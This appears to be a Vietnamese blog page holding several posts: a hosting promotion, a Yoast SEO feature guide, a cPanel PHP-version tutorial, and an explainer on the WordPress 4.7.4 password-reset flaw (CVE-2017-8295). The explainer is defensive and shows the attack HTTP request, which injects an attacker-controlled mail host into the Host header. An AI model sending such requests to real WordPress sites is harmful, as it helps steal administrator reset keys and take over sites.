Giới thiệu dịch vụ Shared Host tại AZDIGI

AZDIGI là một công ty của mình chuyên kinh doanh lĩnh vực thiết kế website và dịch vụ máy chủ lưu trữ dữ liệu (Shared Host, VPS). Ngoài dịch vụ SSD VPS, thì AZDIGI mới đây có thêm dịch vụ SSD Shared Host với cấu hình rất tốt cùng các chức năng hỗ trợ đầy đủ để bạn chạy tốt mọi website sử dụng ngôn ngữ PHP và hệ quản trị CSDL MySQL với MariaDB 10.

Continue reading “Giới thiệu dịch vụ Shared Host tại AZDIGI”

10 Chức năng quan trọng nhất của WordPress SEO by Yoast

10 Chức năng quan trọng nhất của WordPress SEO by Yoast (Yoast SEO).

10-chuc-nang-quan-trong-cua-wordpress-seo-by-yoast

Nếu bạn có một blog/ website làm bằng WordPress và bạn biết một chút ít về SEO, thì tôi đoán chắc bạn đã từng hoặc đang sử dụng plugin WordPress SEO by Yoast (Yoast SEO) trên site của mình. Tuy nhiên, trên thực tế, không phải tất cả mọi người đều tận dụng được đầy đủ các tính năng của plugin này. Trong bài viết hôm nay, tôi sẽ giới thiệu đến các bạn 10 chức năng quan trọng nhất của WordPress SEO by Yoast và làm thế nào để sử dụng chúng một cách hiệu quả.

Tham khảo thêm:

  • Hướng dẫn cài đặt plugin Yoast SEO chuẩn nhất
  • Hướng dẫn viết bài chuẩn SEO với Yoast SEO

Các chức năng quan trọng của WordPress SEO by Yoast

1. Tạo XML sitemaps

Một phần không thể thiếu trong SEO chính là XML sitemaps. Sau khi cài đặt, WordPress SEO by Yoast sẽ tự động tạo ra một XML sitemaps và luôn cập nhật nó khi bạn đăng tải nội dung mới. Bạn có thể dễ dàng thay đổi các thiết lập XML của bạn bằng cách truy cập SEO => XML Sitemaps trong WordPress Dashboard.

xml-sitemaps-cua-wordpress-seo-by-yoast

2. Tự động gửi XML Sitemaps đến các công cụ tìm kiếm

Điều này còn được gọi là ping. WordPress SEO by Yoast sẽ tự động cập nhật và gửi sitemaps tới GoogleBing. Nó sẽ giúp các công cụ tìm kiếm xác định nội dung mới một cách nhanh chóng, đồng thời giữ cho nội dung của các trang đã được lập chỉ mục luôn cập nhật (nếu bạn thay đổi hay chỉnh sửa). Tùy chọn này nằm ngay bên dưới XML sitemaps. Bạn cũng có thể chọn ping tới YahooAsk.com mỗi khi blog/ website được đăng tải thêm nội dung.

3. Cho phép tạo custom meta header và description

Với plugin Yoast SEO, bạn cần viết hai tiêu đề, một cho người đọc và một cho các công cụ tìm kiếm. Bạn cũng nên thêm một custom meta description (phần mô tả tùy chỉnh) cho các bài viết của mình. Việc này không chỉ giúp nhắm từ khóa mục tiêu một cách chính xác mà còn làm tăng tỉ lệ click vào kết quả tìm kiếm nhờ một phần mô tả hấp dẫn người đọc. Bạn có thể truy cập các tính năng này trong hộp SEO của trình soạn thảo bài viết/ trang.

seo-title-description-trong-yoast-seo

4. Kiểm tra focus keywords

Bạn có thể dễ dàng và nhanh chóng kiểm tra xem mọi thứ trong bài viết của bạn có phù hợp với từ khóa mà bạn muốn nhắm tới hay không, bằng cách nhập từ khóa mà bạn muốn SEO vào mục Focus Keyword trong hộp SEO thuộc trình soạn thảo bài viết/ trang. Nếu tất cả đều hiện là “YES” thì có nghĩa là mọi thứ trong bài viết đều đã được tối ưu cho từ khóa.

focus-keywords-trong-wordpress-seo-by-yoast

5. Cho phép thêm page redirects dễ dàng

Nếu bạn mới cập nhật thêm bài viết trên blog/ website, nhưng một trong những phiên bản cũ của nó vẫn nhận được lưu lượng truy cập lớn, thì việc chuyển hướng từ phiên bản cũ sang phiên bản mới sẽ là một ý tưởng tuyệt vời. Bạn có thể làm điều này dễ dàng bằng cách truy cập vào tab Advanced trong hộp SEO của trình soạn thảo bài viết.

301-redirect-trong-wordpress-seo-by-yoast

6. Cho phép thêm breadcrumbs

Breadcrumbs không những giúp kết quả tìm kiếm của bạn trở nên hấp dẫn hơn mà còn hữu ích trong việc điều hướng trên blog/ website. Oneday.vn cũng đang sử dụng breadcrumbs và bạn có thể thấy nó bằng cách di chuyển lên phần đầu của bài viết.

Với WordPress SEO by Yoast, bạn có thể bật tính năng breadcrumbs trong SEO => Advanced => Breadcrumbs. Tại đây, bạn có thể thoải mái chỉnh sửa breadcrumbs theo ý muốn. Tuy nhiên, sẽ là một ý tưởng tốt nếu giữ cho nó đơn giản, dễ hiểu đối với cả khách truy cập và bots tìm kiếm.

breadcrumbs-trong-wordpress-seo-by-yoast

7 – 8. Cho phép thay đổi permalinks

Trong tùy chọn Advanced => Permalinks, bạn có thể truy cập một vài chức năng khác nhau mà có thể rất hữu ích cho blog/ website. Đây là nơi bạn có thể quản lý địa chỉ URL (slug) cho các bài viết, trang và chuyên mục.

Redirect ugly URL’s to clean permalinks

redirect-ugly-url-wordpress-seo-by-yoast

Chức năng này được tạo ra dành cho các liên kết “có một chút sai sót”. Nếu ai đó vô tình đặt một con số hoặc một dãy ký tự gì đó vào cuối một URL trên blog/ website, nó sẽ tự động chuyển hướng trở lại URL chính xác.

Ví dụ: http://website.com/page2/291 => http://website.com/page2

Chú ý: Nếu bạn sử dụng một plugin thương mại điện tử hoặc theo dõi nguồn gốc của các đơn hàng bằng cách sử dụng campaign tags trong URL thì bạn tuyệt đối không nên kích hoạt tính năng này, dù cho có rất nhiều liên kết “xấu xí” được phát hiện trên blog/ website.

Remove stop words from slugs

remove-stop-words-wordpress-seo-by-yoast

Đúng như tên gọi, chức năng này giúp loại bỏ “stop words” khỏi slug (đường dẫn) một cách tự động. Điều này có nghĩa là nếu bạn không nhập một slug cụ thể cho từng bài viết, các “stop words” (những từ được Google khuyên nên loại bỏ khỏi URL vì chúng không có ý nghĩa) sẽ được tự động loại bỏ.

9. Giúp sửa hàng loạt titles và descriptions

WordPress SEO by Yoast cung cấp một công cụ chỉnh sửa tiêu đề (title) và phần mô tả (descriptions) với số lượng lớn. Nó cho phép bạn chỉnh sửa hàng loạt tiêu đề và mô tả của bài viết/ trang cũ một cách dễ dàng. Tuy nhiên, nếu bạn có một số lượng bài viết quá lớn thì việc sửa chữa sẽ rất mất thời gian. Vậy nên chỉ sửa chữa các trang có mức độ ưu tiên cao là một ý tưởng tuyệt vời.

Để làm việc này, các bạn truy cập vào SEO => Tools => Bulk editor.

10. Ẩn các bài viết/ trang cụ thể khỏi các công cụ tìm kiếm

Có những lúc bạn muốn “che giấu” các trang/ bài viết nhất định khỏi các công cụ tìm kiếm. Ví dụ bạn có một khuyến mãi đặc biệt dành riêng cho các email subscribers và bạn đã tạo một trang với thông tin chi tiết. Đây chắc chắn không phải là trang mà bạn muốn Google để hiển thị trong kết quả tìm kiếm. Trong trường hợp này, bạn có thể sử dụng tính năng “no index” của WordPress SEO by Yoast bằng cách truy cập vào tab Advanced trong khung SEO của trình soạn thảo bài viết.

no-index-wordpress-seo-by-yoast

Trên đây là 10 tính năng hữu ích của plugin WordPress SEO by Yoast. Hy vọng chúng có thể phần nào giúp các bạn tận dụng một cách triệt để các tiềm năng của plugin SEO nổi tiếng này. Nếu bạn biết tính năng nào khác chưa được đề cập ở trên, hãy chia sẻ nó với chúng tôi trong khung bình luận bên dưới.

Sử dụng nhiều phiên bản PHP trên cùng một host

Hướng dẫn sử dụng nhiều phiên bản PHP trên cùng một host.

Bạn đang chạy cùng lúc nhiều blog/ website trên một host? Mỗi blog/ website của bạn lại chỉ hỗ trợ một phiên bản PHP nhất định? Trong trường hợp bạn muốn chạy PHP 7.x trên site này nhưng vẫn muốn giữ PHP 5.x trên site khác thì phải làm thế nào? Có thể bạn không để ý, nhiều nhà cung cấp hosting hiện tại đã cho phép làm việc này một cách dễ dàng thông qua cPanel. Đúng vậy, bạn hoàn toàn có thể sử dụng nhiều phiên bản PHP trên cùng một host, mỗi tên miền một phiên bản PHP khác nhau.

Ngay sau đây, tôi sẽ hướng dẫn cho các bạn cách thiết lập phiên bản PHP riêng cho từng tên miền. Tất nhiên là trong trường hợp cPanel của bạn có hỗ trợ.

Sử dụng nhiều phiên bản PHP trên cùng host

Thay đổi phiên bản PHP cho từng tên miền

1. Đầu tiên, các bạn cần truy cập vào cPanel của hosting mình đang sử dụng. Tìm xem có mục MultiPHP Manager hay không? Nếu có thì hãy click vào đó.

2. Trong giao diện MultiPHP Manager, hãy tích vào tên miền mà bạn muốn thay đổi phiên bản PHP, sau đó lựa chọn phiên bản PHP trong mục PHP Version. Click vào nút Apply để xác nhận.

3. Chờ chốc lát cho quá trình hoàn tất. Load lại tab trình duyệt, bạn sẽ nhìn thấy phiên bản PHP của tên miền đã được thay đổi.

Thay đổi thiết lập của phiên bản PHP

4. Giờ là lúc tùy chỉnh các thiết lập cho phiên bản PHP mà bạn vừa chọn. Quay trở lại giao diện chính của cPanel, tìm mục MultiPHP INI Editor và click vào đó.

5. Có 2 chế độ để chỉnh sửa thiết lập PHP: Basic Mode với giao diện đơn giản, dễ sử dụng nhưng ít thông số để tùy biến. Editor Mode đòi hỏi bạn phải có kiến thức chuyên sâu về PHP nhưng cho phép tùy biến nhiều thứ hơn.

  • Với Basic Mode, các bạn chỉ cần lựa chọn tên miền sau đó tắt/ bật hoặc chỉnh sửa các thông số rồi click vào nút Apply là được.

  • Với Editor Mode, các bạn buộc phải thêm các dòng code vào khung bên dưới để tùy chỉnh thông số PHP thông qua tập tin php.in. Đó là lý do tại sao tôi lại nói bạn cần có kiến thức chuyên sâu về PHP.

Click vào nút Save để lưu lại sau khi hoàn tất.

Đó là tất cả những gì các bạn cần làm để sử dụng cùng lúc nhiều phiên bản PHP trên một host, mỗi tên miền lại được chạy một phiên bản PHP riêng. Cũng không quá phức tạp phải không nào? Chúc các bạn thành công!

 

Lỗi 0-day của WordPress 4.7.4 và nó có nguy hại không?

Hôm nay có thể bạn đã từng nghe qua thông báo của mọi người rằng WordPress phiên bản 4.7.4 được phát hiện một lỗi 0-day (CVE-2017-8295) giúp tin tặc có thể lấy mật khẩu của người quản trị cao nhất là admin thông qua việc reset mật khẩu không cần cấp quyền vào email của chủ sở hữu.

Về chi tiết lỗi này bạn có thể tham khảo diễn giải chi tiết tại https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html.

Tuy nhiên trong bài viết này mình sẽ giải thích thêm và chúng ta có thể biết rằng bạn có nguy cơ bị khai thác hay không, từ đó mới áp dụng cách cài plugin chặn reset mật khẩu.

Kịch bản tấn công

Theo ExplotItBox, đầu tiên tin tặc sẽ gửi một truy vấn HTTP tới website thông qua địa chỉ IP, nghĩa là website của bạn phải truy cập được thông qua IP. Nếu bạn nào dùng Shared Hosting sử dụng cPanel bản mới nhất thì không cần lo lắng nữa vì trước đây lâu lắm rồi họ đã có một bản vá về lỗi 0-day trên Linux, và với Shared Hosting bạn cũng không thể truy cập vào website thông qua IP.

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password

Ở đoạn trên, tin tặc sẽ ghim địa chỉ máy chủ email của họ vào, và trên Apache thì SERVER_NAME sẽ tự động thay thế bằng giá trị HOST trong truy vấn trên, tức là địa chỉ máy chủ email của tin tặc.

Khi đó, người quản trị sẽ nhận 1 email như sau:

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

Bạn sẽ thấy phần Return-Path sẽ chứa giá trị mà WordPress tự điền vào giá trị SERVER_NAME, tức là wordpress@địa-chỉ-máy-chủ-email-tin-tặc.ltd và kể cả Message-ID cũng chứa một địa chỉ của tin tặc.

Như vậy là đã rõ, nếu hệ thống hoặc người dùng vô tình phản hồi email này, thì tin tặc sẽ nhận chính cái nội dung email chứa khóa khôi phục mật khẩu quản trị. Như vậy ta sẽ có 3 trường hợp như sau:

  1. Một số email của người quản trị có tính năng tự động trả lời email kèm nội dung email được trả lời.
  2. Tin tặc sẽ gửi một lượng lớn email khiến máy chủ của người dùng bị ngập lụt dung lượng sử dụng hay đại loại vậy khiến email không thể gửi đi và phản hồi ngược lại.
  3. Nếu người dùng quản trị dùng email của Gmail hay các nhà cung cấp mail khác, tin tặc sẽ phải gửi một lượng lớn truy vấn như trên để nhà cung cấp chặn địa chỉ máy chủ tin tặc, từ đó email không thể gửi đi và phản hồi ngược lại.

Vậy điều này có nguy hiểm với bạn không?

Suy xét ra thì lỗi này sẽ nghiêm trọng và bạn có thể bị ảnh hưởng nếu:

  • Bạn đang dùng webserver Apache và có thể truy cập vào website thông qua IP. Nghĩa là không tạo virtualhost ấy.
  • Tin tặc phải biết được tên đăng nhập của người quản trị.
  • Tập tin wp-login.php phải được truy cập trực tiếp. Một số plugin ẩn đường dẫn đăng nhập như iThemes Security sẽ tự động chặn truy cập trực tiếp qua tập tin này. Ví dụ: http://www.oneday.vn/dang-nhap.
  • Người quản trị phải dùng email tự host thì sẽ may ra có nguy cơ, còn Gmail hay gì đó thì phải gửi một lượng email cực lớn cùng lúc họ mới chặn một máy chủ gửi đi.

Như vậy nếu bạn thỏa mãn các điều kiện trên thì có thể phòng chống bằng cách cài plugin Disable Password Reset để chặn chức năng quên mật khẩu đi. Còn nếu không thì lỗi này cũng không thật sự quá nguy hiểm như chúng ta tưởng tượng. Tuy nhiên trong tương lai, WordPress sẽ ra một bản vá để chúng ta yên tâm hơn.